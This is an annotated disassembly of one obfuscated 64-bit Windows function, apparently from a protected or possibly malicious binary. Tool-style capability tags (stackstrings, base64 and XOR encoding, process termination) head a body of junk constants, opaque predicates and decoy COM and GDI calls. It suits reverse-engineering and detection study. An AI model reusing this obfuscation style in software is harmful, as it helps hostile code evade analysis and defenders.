Function at 0x140039230
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0xbf08
call fcn.1400f1650
sub rsp, rax
mov byte [rsp + 0x5c2c], 0x23
mov dword [rsp + 0x8d2c], 0x5350f81a
mov eax, 0x47f
mov word [rsp + 0xb04], ax
mov byte [rsp + 0xb8b0], 0xdd
mov eax, 0x1e56
mov word [rsp + 0x72f0], ax
mov byte [rsp + 0x8cd8], 0xc6
mov eax, 0xb0c
mov word [rsp + 0x1600], ax
mov byte [rsp + 0x67f0], 0x58
movabs rax, 0x96ddf98e56179808
mov qword [rsp + 0x4558], rax
movabs rax, 0x2206becb7c4e7801
mov qword [rsp + 0xa70], rax
movabs rax, 0x406541849a64ad11
mov qword [rsp + 0x4fd8], rax
mov eax, 0xf37
mov word [rsp + 0xac80], ax
mov dword [rsp + 0xa0d8], 0x15b116aa
mov eax, 0x44ec
mov word [rsp + 0x8188], ax
movabs rax, 0x70dfbcf482e163ef
mov qword [rsp + 0x67b8], rax
mov eax, 0xce9
mov word [rsp + 0x15c0], ax
mov eax, 0x8f9
mov word [rsp + 0x4fc8], ax
mov eax, 0x163c
mov word [rsp + 0x4fa8], ax
movabs rax, 0x8732d709ad382c33
mov qword [rsp + 0x5b68], rax
mov dword [rsp + 0xb7d0], 0x3afa5d28
movabs rax, 0x3b4b83c8bd0dbf1e
mov qword [rsp + 0x15a0], rax
mov eax, 0x5e0
mov word [rsp + 0x6778], ax
mov byte [rsp + 0x4500], 0x2f
mov byte [rsp + 0x9f4], 3
mov eax, 0x29e4
mov word [rsp + 0x4f94], ax
mov eax, 0x8b3
mov word [rsp + 0xac18], ax
movabs rax, 0x6391478d2dd9ab8
mov qword [rsp + 0x3978], rax
mov eax, 0x71cb
mov word [rsp + 0x2198], ax
mov eax, 0xc50
mov word [rsp + 0x80fc], ax
mov dword [rsp + 0x4f68], 0x15edc376
mov eax, 0xb03
mov word [rsp + 0x44f0], ax
mov eax, 0x1f8f
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x44c0], 0x5173f09a
mov dword [rsp + 0x4f48], 0x6ce9a1ca
movabs rax, 0xcd0ab9143c3ac77b
mov qword [rsp + 0x6708], rax
mov dword [rsp + 0x71f0], 0x4ede8a10
mov eax, 0x4bbc
mov word [rsp + 0x2128], ax
mov dword [rsp + 0x390c], 0x2fa049c6
mov dword [rsp + 0x3908], 0xafdf095e
movabs rax, 0x3ccf9f03d808cc69
mov qword [rsp + 0x9590], rax
movabs rax, 0x894aa7ac9958f50
mov qword [rsp + 0x4f10], rax
mov dword [rsp + 0x970], 0x229d9a01
mov byte [rsp + 0x4f08], 0x2b
mov byte [rsp + 0x71e0], 0x72
mov dword [rsp + 0x8be8], 0x1d06ddd9
movabs rax, 0xb9eab7db2ce45d5e
mov qword [rsp + 0x2d38], rax
mov byte [rsp + 0x8048], 0x1e
movabs rax, 0x568487978b83c33
mov qword [rsp + 0x7188], rax
movabs rax, 0x275db9199de921ac
mov qword [rsp + 0xab78], rax
movabs rax, 0x41a070d969f16824
mov qword [rsp + 0x2058], rax
mov byte [rsp + 0x2d08], 0x57
mov dword [rsp + 0x7154], 0x3ace84df
movabs rax, 0x51c51e03a54a4080
mov qword [rsp + 0x2038], rax
mov byte [rsp + 0x7e20], 0xb
mov dword [rsp + 0x3890], 0x6af22bf7
movabs rax, 0x49ac5adab622b51f
mov qword [rsp + 0x7138], rax
mov dword [rsp + 0x43dc], 0x25577d2e
mov dword [rsp + 0x9f90], 0x21afd642
mov eax, 0x707
mov word [rsp + 0x4e70], ax
movabs rax, 0x1c36f1436c7667d
mov qword [rsp + 0x8a8], rax
mov byte [rsp + 0x8a0], 0x67
mov byte [rsp + 0xb688], 0x75
mov eax, 0xe5a
mov word [rsp + 0x5960], ax
mov dword [rsp + 0xb678], 0xfc2f302d
mov byte [rsp + 0x7db0], 0xe
mov dword [rsp + 0x8b14], 0x1306298f
mov eax, 0xfe
mov word [rsp + 0x94c4], ax
mov byte [rsp + 0x65d8], 0xa6
mov byte [rsp + 0x4e30], 0x15
mov eax, 0xb8d
mov word [rsp + 0x2c80], ax
mov byte [rsp + 0x13d0], 0x67
mov dword [rsp + 0x9f34], 0x2c3b2fce
mov eax, 0xad7
mov word [rsp + 0x2c48], ax
mov dword [rsp + 0x58f8], 0x539a5580
mov byte [rsp + 0x1fd0], 0x61
mov byte [rsp + 0x94a1], 0x8f
mov eax, 0xee1
mov word [rsp + 0x7d70], ax
mov byte [rsp + 0x7d60], 0x63
movabs rax, 0x7d2d55945a46ede6
mov qword [rsp + 0x1380], rax
movabs rax, 0xb800e2dd7b6ed836
mov qword [rsp + 0xaa88], rax
movabs rax, 0x2b9328876263515c
mov qword [rsp + 0x1368], rax
mov dword [rsp + 0x6570], 0x488101ce
movabs rax, 0x4f67ef392e40b914
mov qword [rsp + 0xaa78], rax
movabs rax, 0x222ba397f2a17ad6
mov qword [rsp + 0x1f90], rax
mov eax, 0x35c
mov word [rsp + 0x8a70], ax
movabs rax, 0x53292878311e44f6
mov qword [rsp + 0x8a68], rax
mov dword [rsp + 0x8a58], 0x65caab3
mov eax, 0xc82
mov word [rsp + 0x1f74], ax
mov dword [rsp + 0x8a44], 0x241a364
mov dword [rsp + 0x4d4c], 0x67938a53
mov dword [rsp + 0x7a8], 0x62a507f0
mov eax, 0x66c
mov word [rsp + 0xaa08], ax
mov dword [rsp + 0x5878], 0x6357305e
mov byte [rsp + 0x37a0], 0xb
mov eax, 0x951
mov word [rsp + 0x64fc], ax
mov dword [rsp + 0x2b80], 0x11889231
mov eax, 0x2ce
mov word [rsp + 0x6498], ax
mov eax, 0x51c
mov word [rsp + 0x647c], ax
mov dword [rsp + 0x89a4], 0x5d096ffa
mov eax, 0x9d9
mov word [rsp + 0xa980], ax
movabs rax, 0x7fbf4615acd2e172
mov qword [rsp + 0xb4e8], rax
movabs rax, 0x3313ef0e61564018
mov qword [rsp + 0x57b8], rax
mov eax, 0x46e6
mov word [rsp + 0x8988], ax
mov byte [rsp + 0x9390], 0x7d
movabs rax, 0xe9d3e1aa601ba7a
mov qword [rsp + 0x4c78], rax
mov eax, DefSubclassProc
mov word [rsp + 0x2b18], ax
mov byte [rsp + 0x1e70], 0x41
mov eax, 0x4631
mov word [rsp + 0x36d4], ax
movabs rax, 0x4d0ac193e8a556ed
mov qword [rsp + 0x5750], rax
mov byte [rsp + 0x8948], 0x27
mov byte [rsp + 0x4210], 0x27
mov byte [rsp + 0x6f69], 0x4a
mov byte [rsp + 0x6f68], 0xe4
mov eax, 0x21
mov word [rsp + 0x1e44], ax
mov eax, 0xa9f
mov word [rsp + 0x41f8], ax
mov eax, 0x3bae
mov word [rsp + 0x3660], ax
mov eax, 0x5cb
mov word [rsp + 0x9da4], ax
mov eax, 0x5c9
mov word [rsp + 0xb460], ax
mov byte [rsp + 0x9300], 0x22
mov byte [rsp + 0xa8a0], 0x82
movabs rax, 0x8fd2f3f15a7eeb19
mov qword [rsp + 0x11a0], rax
mov byte [rsp + 0xb3f8], 0x4b
movabs rax, 0x27888aabff15ac41
mov qword [rsp + 0x6388], rax
mov eax, 0xb78
mov word [rsp + 0x4178], ax
movabs rax, 0x22d189c08b75895b
mov qword [rsp + 0xa860], rax
mov dword [rsp + 0x8878], 0x30543ef7
mov byte [rsp + 0x1150], 0x36
mov byte [rsp + 0x4140], 0xdc
mov eax, 0x1ca
mov word [rsp + 0x4ba0], ax
mov eax, 0x285
mov word [rsp + 0xa848], ax
movabs rax, 0x4826d7040f379d5c
mov qword [rsp + 0x7b48], rax
mov dword [rsp + 0x2a30], 0x296332bc
movabs rax, 0x10be9412bad0ecac
mov qword [rsp + 0x2a28], rax
mov dword [rsp + 0xa824], 0x66e9707e
mov dword [rsp + 0x9d40], 0x1f326f58
mov byte [rsp + 0xa810], 0x23
mov dword [rsp + 0x9268], 0x61440cda
mov dword [rsp + 0x1110], 0x44246751
movabs rax, 0xe2f939089cb9958d
mov qword [rsp + 0x6318], rax
mov byte [rsp + 0xb380], 0xe6
mov eax, 0x3073
mov word [rsp + 0x4b58], ax
mov eax, 0x553
mov word [rsp + 0x62c0], ax
mov dword [rsp + 0x5b8], 0x7432b174
mov byte [rsp + 0x5648], 0x48
movabs rax, 0x3fff254e4bf62c46
mov qword [rsp + 0x9cd0], rax
mov byte [rsp + 0x9cc1], 0x89
mov dword [rsp + 0x91fc], 0x939fc52e
mov byte [rsp + 0x589], 0xce
mov byte [rsp + 0x7968], 0x68
mov byte [rsp + 0xff0], 0x30
mov eax, 0x5219
mov word [rsp + 0x4068], ax
mov dword [rsp + 0x4ae0], 0x6346fa77
mov byte [rsp + 0x588], 0x41
movabs rax, 0xe81643c6a9e40359
mov qword [rsp + 0x6210], rax
mov byte [rsp + 0x55bc], 0xb7
mov byte [rsp + 0x78f0], 0x4f
mov byte [rsp + 0x61d4], 0xed
mov eax, 0x77a
mov word [rsp + 0x9c18], ax
mov eax, 0x192
mov word [rsp + 0xa6c8], ax
movabs rax, 0x12e1fa8cca756067
mov qword [rsp + 0x9c10], rax
movabs rax, 0x1228e2d8e80cbf4f
mov qword [rsp + 0x2918], rax
mov eax, 0x499
mov word [rsp + 0x61a8], ax
mov eax, 0x13e3
mov word [rsp + 0x78a0], ax
mov byte [rsp + 0x7884], 0xf2
mov dword [rsp + 0x3444], 0xed890db6
mov eax, 0x5d8a
mov word [rsp + 0x6d30], ax
mov dword [rsp + 0xa658], 0x6ab1c03a
mov eax, 0xcae
mov word [rsp + 0x9104], ax
movabs rax, 0x59b52f8c3646a3c7
mov qword [rsp + 0x49f0], rax
mov eax, 0xa7a
mov word [rsp + 0x2868], ax
mov eax, 0xbd
mov word [rsp + 0x5518], ax
movabs rax, 0x1bd12e257c892456
mov qword [rsp + 0x6cd8], rax
mov byte [rsp + 0x7840], 0x1d
movabs rax, 0x5bf332bf3b48a871
mov qword [rsp + 0x1bb0], rax
mov eax, 0x6d45
mov word [rsp + 0x8650], ax
mov eax, 0x2872
mov word [rsp + 0x1ba0], ax
movabs rax, 0xa3f8f50763724390
mov qword [rsp + 0x33e0], rax
mov dword [rsp + 0x860c], 0xcbd3da68
mov eax, 0x6ddf
mov word [rsp + 0x9b5c], ax
mov byte [rsp + 0x9b58], 0x4e
mov byte [rsp + 0x90c8], 0x9c
mov eax, 0x3ec7
mov word [rsp + 0x77d4], ax
mov byte [rsp + 0x3ee8], 0x91
mov byte [rsp + 0x77c4], 0x4b
mov eax, 0x6952
mov word [rsp + 0x77c0], ax
mov byte [rsp + 0x5480], 0x22
mov eax, 0x992
mov word [rsp + 0x9b28], ax
mov eax, 0x647e
mov word [rsp + 0xeb8], ax
mov byte [rsp + 0x4960], 0x32
mov dword [rsp + 0x9b10], 0x66c1a6b4
mov eax, 0x285a
mov word [rsp + 0x3338], ax
mov byte [rsp + 0x5440], 0x9a
movabs rax, 0x5d1b6e4ce9b0f908
mov qword [rsp + 0x27b8], rax
mov byte [rsp + 0x6c40], 0x39
movabs rax, 0x45dcb3a7a8f33619
mov qword [rsp + 0x9028], rax
mov eax, 0x111
mov word [rsp + 0x9020], ax
mov byte [rsp + 0xb108], 0xd1
mov eax, 0x243
mov word [rsp + 0x8ff8], ax
mov byte [rsp + 0x32f0], 0x27
mov byte [rsp + 0x8fe8], 0x15
mov dword [rsp + 0x7758], 0x6cb68c8d
mov byte [rsp + 0x5424], 0x35
mov byte [rsp + 0x8578], 0x68
mov dword [rsp + 0x5410], 0xa1207bd6
mov dword [rsp + 0x7740], 0x59e7e98a
movabs rax, 0x9910afcc16f9f19d
mov qword [rsp + 0x320], rax
mov eax, 0xa75
mov word [rsp + 0xe18], ax
mov eax, 0x24e
mov word [rsp + 0xb098], ax
mov byte [rsp + 0xe15], 0x16
movabs rax, 0x4f20edc95fe478e0
mov qword [rsp + 0xb050], rax
mov byte [rsp + 0x7660], 0xc1
mov byte [rsp + 0xb040], 0x2d
movabs rax, 0x51f3ae6ebd8c8d59
mov qword [rsp + 0x53a8], rax
mov byte [rsp + 0xb028], 0xc8
mov dword [rsp + 0x3dcc], 0xc4ac6481
mov eax, 0xf68
mov word [rsp + 0x5f30], ax
mov eax, 0x882
mov word [rsp + 0xafc0], ax
mov eax, 0x4f87
mov word [rsp + 0x5f18], ax
mov byte [rsp + 0x31d4], 0x17
movabs rax, 0x4441043d725e3119
mov qword [rsp + 0x8f20], rax
movabs rax, 0x4dd99f736b3ecb72
mov qword [rsp + 0x26b8], rax
mov byte [rsp + 0x3160], 0x5b
mov eax, 0x3dc6
mov word [rsp + 0x6a90], ax
mov eax, 0x7480
mov word [rsp + 0xa3d8], ax
mov dword [rsp + 0x1a00], 0x33310f33
mov eax, 0xa8a
mov word [rsp + 0xaf3c], ax
movabs rax, 0xe62ddb32b43c6c6f
mov qword [rsp + 0x7548], rax
mov byte [rsp + 0x25f9], 0x38
mov eax, 0xdb2
mov word [rsp + 0x3d04], ax
mov eax, 0x922
mov word [rsp + 0xa350], ax
mov byte [rsp + 0xcac], 0x77
movabs rax, 0x586455869cbfd0f0
mov qword [rsp + 0x5e50], rax
mov dword [rsp + 0x3ce0], 0x3340ef10
movabs rax, 0x4556c01397aa6cbe
mov qword [rsp + 0x74d8], rax
mov byte [rsp + 0x1838], 0x27
movabs rax, 0x78690a2e7d3f9c0b
mov qword [rsp + 0x98d8], rax
mov byte [rsp + 0x3cc0], 0x41
movabs rax, 0x6b876d9a69b44364
mov qword [rsp + 0x7498], rax
mov byte [rsp + 0x8388], 0xb9
mov byte [rsp + 0x181c], 0xaf
mov eax, 0xf4f
mov word [rsp + 0x5228], ax
mov byte [rsp + 0x836f], 0xe2
mov byte [rsp + 0x1808], 0x3e
mov dword [rsp + 0x8368], 0x5fdc34a
movabs rax, 0x289e8a92b77ed8f5
mov qword [rsp + 0xae40], rax
movabs rax, 0x4c81c7c95591e55
mov qword [rsp + 0x2530], rax
mov dword [rsp + 0x3c70], 0x56a00379
mov eax, 0x161
mov word [rsp + 0x128], ax
mov eax, 0x810
mov word [rsp + 0x3040], ax
mov dword [rsp + 0x742c], 0x640128b3
mov byte [rsp + 0x3c58], 0x3b
mov byte [rsp + 0x7410], 0x63
mov eax, 0x275f
mov word [rsp + 0x3034], ax
mov dword [rsp + 0x301c], 0x331c49d8
mov dword [rsp + 0xa298], 0x601ab3c3
mov dword [rsp + 0x46c0], 0x4f412baf
mov eax, 0xd8f
mov word [rsp + 0x2ff8], ax
mov dword [rsp + 0x5d3c], 0x2981c65
movabs rax, 0x339b0357ddfa9589
mov qword [rsp + 0x82b8], rax
mov byte [rsp + 0x82a8], 0x76
movabs rax, 0x41e73839bfce5a55
mov qword [rsp + 0x6938], rax
mov dword [rsp + 0xbd0], 0xc9a8eceb
mov byte [rsp + 0x73b8], 0xd3
mov byte [rsp + 0x2490], 0xe9
mov dword [rsp + 0xa250], 0x5577b79d
mov dword [rsp + 0x975c], 0x5017057a
mov byte [rsp + 0x6908], 0xb
movabs rax, 0x156508e97e7242f4
mov qword [rsp + 0x2468], rax
mov byte [rsp + 0x2f84], 0x43
mov eax, 0x6e2
mov word [rsp + 0x68f4], ax
mov dword [rsp + 0x4634], 0x63798265
mov byte [rsp + 0x2348], 0x2b
mov dword [rsp + 0x2f50], 0x2e8c546f
mov dword [rsp + 0x78], 0x8e449ad8
mov eax, 0xe9f
mov word [rsp + 0x2314], ax
mov byte [rsp + 0x16b8], 0x1a
movabs rcx, 0x1687c87d6482a40b
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [0x1400f62c8], rax
mov rax, qword [0x1400f62c8]
mov qword [rsp + 0xb980], rax
movabs rax, 0x1f73603ef33611ff
cmp qword [rsp + 0xb980], rax
je 0x140039fae
jmp 0x1400b4f09
mov eax, 0x4a4
mov word [rsp + 0xa8b0], ax
mov dword [rsp + 0x9954], 0x4b40
movzx eax, word [rsp + 0xa8b0]
cmp eax, 0xb68
jne 0x14003a008
mov edx, 0xeb
mov ecx, 0x7d
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x1dfc], eax
mov r9, qword [0x1400f62c8]
mov r8d, 0xe4
mov edx, 0x6a
mov ecx, 0x29
call fcn.1400b5010
mov dword [rsp + 0x3e68], 0xbb43
movabs rax, 0xd2a2f5680fe4ba47
cmp qword [0x1400f62c8], rax
je 0x14003a160
mov dword [0x1400f7e28], 0x2f8cc656
mov dword [rsp + 0x4290], 0xf0e9
movabs rax, 0x43ba6d6af6fbe76c
mov rcx, qword [0x1400f62c8]
xor rcx, rax
movabs rax, 0x5b3f15e8c1cc4f33
cmp rcx, rax
jbe 0x14003a131
movabs rcx, 0x67d809f390b66c90
mov rax, qword [0x1400f62c8]
or rax, rcx
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x4c78]
shl rax, 0xc6
cmp rax, qword [0x1400f62c8]
ja 0x14003a109
lea rdx, [rsp + 0x77f0]
lea rcx, [rsp + 0xa838]
call qword [sym.imp.ole32.dll_OleGetAutoConvert]
mov dword [rsp + 0x78a4], eax
mov rax, qword [0x1400f62c8]
shr rax, 4
mov qword [rsp + 0x4c78], rax
lea r8, [rsp + 0x4c78]
lea rdx, [rsp + 0x1c08]
lea rcx, [rsp + 0x77f0]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x4e50], eax
mov r9, qword [rsp + 0x4c78]
mov r8d, 0x8e
mov edx, 0x76
mov ecx, 0xc5
call fcn.1400b5010
mov dword [rsp + 0x8280], 0xb06e
movabs rcx, 0x6587521950bc9325
mov rax, qword [0x1400f62d0]
sub rax, rcx
mov qword [0x1400f62d0], rax
jmp 0x14003a155
movzx eax, word [rsp + 0xa8b0]
cmp eax, 0xba6
jle 0x14003a155
movzx eax, word [rsp + 0xa8b0]
add eax, 0xe8c
mov word [rsp + 0xa8b0], ax
mov dword [rsp + 0x6c0], 0x87e7
mov dword [rsp + 0x6c90], 0xbc87
mov dword [rsp + 0x68e0], 0x62e7
movzx eax, word [rsp + 0xa8b0]
and eax, 0x4ee
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x94f
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0x4b2
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x67f
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0x52d
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sar eax, 5
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
shl eax, 0xb
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x4a69313e7060bc54
mov rax, qword [0x1400f62c8]
xor rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0xa8b0]
or eax, 0x29e
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x502
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xacf
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x7f
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0xe64
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xe8f
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x803
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x6c5c0398bb817b0f
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xf8f
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x42d
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xeaf
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
xor eax, 0xf63
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
or eax, 0xb43
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sar eax, 6
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
shl eax, 9
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x2ec
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0x450
mov word [rsp + 0xa8b0], ax
movabs rcx, 0xb3890c00779fb12
mov rax, qword [0x1400f62c8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov eax, dword [0x1400f7e28]
add eax, 0x2896ef8
mov dword [0x1400f7e28], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0xdcf
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xb7c
mov word [rsp + 0xa8b0], ax
mov eax, dword [0x1400f7e28]
and eax, 0x9595c14b
mov dword [0x1400f7e28], eax
mov eax, dword [rsp + 0x9954]
add eax, 0xc0
mov dword [rsp + 0x9954], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x39e
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x757ab0155a4b52a6
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
movabs rcx, 0x37f6ff3ec6d9888a
mov rax, qword [0x1400f62c8]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
movzx eax, word [rsp + 0xa8b0]
shl eax, 4
mov word [rsp + 0xa8b0], ax
movzx eax, word [rsp + 0xa8b0]
sar eax, 4
mov word [rsp + 0xa8b0], ax
cmp dword [rsp + 0x9954], 0x7c00
jb 0x14003a176
mov eax, dword [0x1400f7e28]
mov dword [rsp + 0xb988], eax
cmp dword [rsp + 0xb988], 0x1014014a
je 0x14003a50c
cmp dword [rsp + 0xb988], 0x7d39b30d
je 0x14003a4b2
jmp 0x14003a53f
lea rdx, [rsp + 0x77f0]
lea rcx, [rsp + 0x77f0]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x77bc], eax
movzx eax, word [rsp + 0xa8b0]
xor eax, 0x722
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x20], rax
mov r9b, 4
mov r8d, dword [0x1400f7e28]
mov dl, 0xce
mov rcx, qword [rsp + 0x4c78]
call fcn.1400b5a80
jmp 0x14003a53f
mov dword [rsp + 0x4af4], 0x1cf61d30
mov dword [rsp + 0xa0fc], 0x4fe2
movzx eax, word [rsp + 0xa8b0]
mov word [rsp + 0x15c4], ax
mov eax, 0x79cf
mov word [rsp + 0x4274], ax
mov dword [rsp + 0xc30], 0xf0ae
mov eax, dword [0x1400f7e28]
or eax, 0x9570c91f
mov dword [0x1400f62d8], eax
mov eax, dword [0x1400f7e28]
mov dword [rsp + 0xb98c], eax
cmp dword [rsp + 0xb98c], 0x65a9f21c
je 0x14003a63f
cmp dword [rsp + 0xb98c], 0x8e7d17bc
je 0x14003a58b
jmp 0x14003a6ee
lea rdx, [rsp + 0xa838]
lea rcx, [rsp + 0x4af4]
call qword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [rsp + 0x1dfc], eax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0xb990], eax
cmp dword [rsp + 0xb990], 0x796c3abd
je 0x14003a5c5
jmp 0x14003a5da
mov eax, dword [rsp + 0x4af4]
and eax, 0x1efc8513
mov dword [rsp + 0x4af4], eax
jmp 0x14003a63a
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xb994], eax
cmp dword [rsp + 0xb994], 0x60a3
je 0x14003a5f8
jmp 0x14003a620
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x20], rax
mov r9b, 0xfc
mov r8d, dword [0x1400f62d8]
mov dl, 1
mov rcx, qword [rsp + 0x4c78]
call fcn.1400b5a80
jmp 0x14003a63a
mov edx, 0x53
lea rcx, [rsp + 0xa8b0]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x77bc], eax
jmp 0x14003a6ee
movabs rcx, 0x746774fc45a6ce9
mov rax, qword [rsp + 0x4c78]
sub rax, rcx
cmp rax, qword [0x1400f62c8]
ja 0x14003a6ee
mov rax, qword [0x1400f62d0]
mov qword [rsp + 0xb998], rax
movabs rax, 0x27258efc359f90b8
cmp qword [rsp + 0xb998], rax
je 0x14003a6d2
movabs rax, 0x4549853c8a1b9848
cmp qword [rsp + 0xb998], rax
je 0x14003a69a
jmp 0x14003a6ee
movzx eax, word [rsp + 0x15c4]
sub eax, 0x57d
mov word [rsp + 0xa8b0], ax
mov r9, qword [0x1400f62c8]
mov r8, qword [0x1400f62d0]
mov rdx, qword [0x1400f62d0]
mov rcx, qword [0x1400f62d0]
call fcn.1400b5010
jmp 0x14003a6ee
movabs rcx, 0x22e876397e819de2
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
cmp dword [rsp + 0x68e0], 0x5e6b
jb 0x14003a7f6
movabs rcx, 0xaae940208ae8f2d
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
movsx eax, word [rsp + 0x4274]
sub eax, 0x5391
mov word [rsp + 0x4274], ax
mov eax, dword [rsp + 0x4af4]
add eax, 0x4b042203
mov dword [rsp + 0x4af4], eax
movabs rcx, 0x6b29d7ea66ac2443
mov rax, qword [0x1400f62c8]
and rax, rcx
mov qword [rsp + 0x4c78], rax
movsx eax, word [rsp + 0x4274]
add eax, 0x7146
mov word [rsp + 0x4274], ax
movzx eax, word [rsp + 0xa8b0]
or eax, 0x3fc
mov word [rsp + 0x15c4], ax
mov eax, dword [rsp + 0x68e0]
sub eax, 0x1c
mov dword [rsp + 0x68e0], eax
movsx eax, word [rsp + 0x4274]
sar eax, 5
mov word [rsp + 0x4274], ax
movsx eax, word [rsp + 0x4274]
shl eax, 7
mov word [rsp + 0x4274], ax
movsx eax, word [rsp + 0x4274]
xor eax, 0x6bd2
mov word [rsp + 0x4274], ax
movabs rcx, 0x4bfd1c92c43f5cbd
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
jmp 0x14003a6ee
mov byte [0x1400f758a], 0xdc
mov dword [rsp + 0x6ee8], 0x2f3e
mov dword [rsp + 0x1c30], 0xe219
mov dword [rsp + 0xf00], 0x81e8
mov rax, qword [0x1400f62d0]
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x327cad3c2d530ecb
cmp qword [rsp + 0xb9a0], rax
je 0x14003a843
jmp 0x14003a896
mov dword [rsp + 0x40], 0xcd
mov dword [rsp + 0x38], 0xdf
mov dword [rsp + 0x30], 0xc4
mov dword [rsp + 0x28], 0xca
mov dword [rsp + 0x20], 0xc9
mov r9d, 0x93
mov r8d, 0xeb
mov edx, 0x59
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_Arc]
mov dword [rsp + 0x58d4], eax
jmp 0x1400b4edf
mov eax, dword [rsp + 0xb360]
and eax, 0x37e26581
cmp eax, dword [rsp + 0x4af4]
jg 0x1400b4e2e
mov eax, dword [0x1400f7e28]
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0x15c4]
sub eax, 0xbc9
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x7a0f7b5ee589961
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0xb360], eax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
sub eax, 0x2f1
mov word [rsp + 0x15c4], ax
movzx eax, word [rsp + 0xa8b0]
and eax, 0x637
mov word [rsp + 0x15c4], ax
movabs rcx, 0x61e237100ce9b762
mov rax, qword [rsp + 0x4c78]
xor rax, rcx
mov qword [0x1400f62c8], rax
movsx eax, word [rsp + 0x4274]
or eax, 0x6235
mov word [rsp + 0x4274], ax
mov eax, dword [rsp + 0xee0]
movzx ecx, al
mov eax, dword [rsp + 0x4af4]
shl eax, cl
mov dword [rsp + 0xb360], eax
movzx eax, word [rsp + 0xa8b0]
sar eax, 8
mov word [rsp + 0x15c4], ax
movzx eax, word [rsp + 0x15c4]
add eax, 0x634
mov word [rsp + 0xa8b0], ax
movabs rcx, 0x49e10c53401030bb
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
and eax, ecx
mov dword [rsp + 0x99c0], eax
movzx eax, word [rsp + 0xa8b0]
add eax, 0xde3
mov word [rsp + 0x15c4], ax
mov eax, dword [rsp + 0x3e68]
add eax, 0x9e
mov dword [rsp + 0x3e68], eax
mov ecx, dword [0x1400f62d8]
mov eax, dword [0x1400f7e28]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
movabs rcx, 0x5ef5af9c38d4e3f5
mov rax, qword [0x1400f62c8]
add rax, rcx
mov qword [rsp + 0x4c78], rax
cmp dword [rsp + 0x3e68], 0xec05
jbe 0x14003a8af
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
add eax, ecx
mov dword [rsp + 0x4af4], eax
movsx eax, word [rsp + 0x4274]
sub eax, 0x1ae7
